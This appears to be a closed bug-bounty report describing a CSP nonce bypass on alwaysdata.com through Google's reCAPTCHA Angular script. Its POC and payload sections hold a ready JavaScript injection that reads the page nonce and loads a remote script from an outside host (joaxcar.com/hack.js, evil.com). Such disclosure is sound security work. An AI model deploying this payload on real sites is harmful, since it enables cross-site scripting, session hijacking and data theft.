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407 | Closed | A Content Security Policy (CSP) bypass | ritikkk |
Task Description
Summary A Content Security Policy (CSP) bypass vulnerability exists on the website https://www.alwaysdata.com/en/, facilitated through the utilization of Google Script resources. This vulnerability could lead to security risks such as cross-site scripting (XSS) attacks or data exfiltration.
Description: Upon thorough analysis of the website's security posture, it has been identified that the implemented CSP fails to adequately restrict the loading of external scripts, particularly those from Google Script resources. The CSP should enforce a policy only to allow trusted sources for script execution, thereby mitigating the risk of malicious script injections or unauthorized data access. I found a way to load arbitrary scripts (escaping the restrictions of Angular) if the page uses nonce-based CSP.
Details
Query for Nonce Attribute: The snippet starts by using document.querySelector('[nonce]') to search for an element in the document with a nonce attribute. The nonce attribute is commonly used with CSP to specify a cryptographic nonce (number used once) that helps to authorize inline scripts or script sources.
Create Evil Script Element: Once the nonce attribute is found (or not), the snippet creates a new <script> element called evil.
Set Source for Evil Script: The src attribute of the evil script element is set to 'https://www.evil.com/js/evil.js'. This URL points to a script hosted on a malicious domain (www.evil.com), indicating that this script is potentially harmful.
Assign Nonce Value: Here comes the tricky part. The snippet attempts to assign a nonce value to the evil script element. It checks if a nonce attribute was found in step 1 (a ? a.nonce : ''). If a nonce attribute was found, it assigns its value to the nonce property of the evil script element. If not, it assigns an empty string.
Append Evil Script to Document Head: Finally, the evil script element is appended to the <head> of the document using document.head.appendChild(evil), effectively injecting the malicious script into the webpage. So, what’s the catch here? By attempting to assign a legitimate nonce value to the evil script element, the snippet tries to bypass CSP's security restrictions. If the webpage has a CSP policy that allows scripts with the provided nonce, the malicious script might execute despite CSP's protection. This highlights the importance of properly configuring CSP policies, generating nonces securely, and maintaining a robust defense against XSS attacks, where attackers inject malicious scripts into web pages to compromise user data or hijack sessions.
POC
1. Go to https://www.alwaysdata.com/en/ 2. Open dev tools and paste and execute this (replace joaxcar.com/hack.js if you want)
3. document.getElementsByTagName("div")[0].innerHTML=`<iframe srcdoc="<div lang=en ng-app=application ng-csp class=ng-scope>
<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>
<img src=x ng-on-error='w=$event.target.ownerDocument;a=w.defaultView.top.document.querySelector("[nonce]");b=w.createElement("script");b.src="joaxcar.com/hack.js";b.nonce=a.nonce;w.body.appendChild(b)'>
</div>
">`
4. See the popup, look at network tools and see that the script is loaded from
Impact:
This CSP bypass exposes the website and its users to potential security threats, including but not limited to XSS attacks, data theft, and unauthorized access to sensitive information. Attackers could exploit this vulnerability to execute arbitrary code within the context of the website, leading to compromised user accounts, defacement, or distribution of malicious content.
Payload
document.getElementsByTagName("div")[0].innerHTML=`<iframe srcdoc="<div lang=en ng-app=application ng-csp class=ng-scope>
<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>
<img src=x ng-on-error='w=$event.target.ownerDocument;a=w.defaultView.top.document.querySelector("[nonce]");b=w.createElement("script");b.src="//joaxcar.com/hack.js";b.nonce=a.nonce;w.body.appendChild(b)'>
</div>
">`
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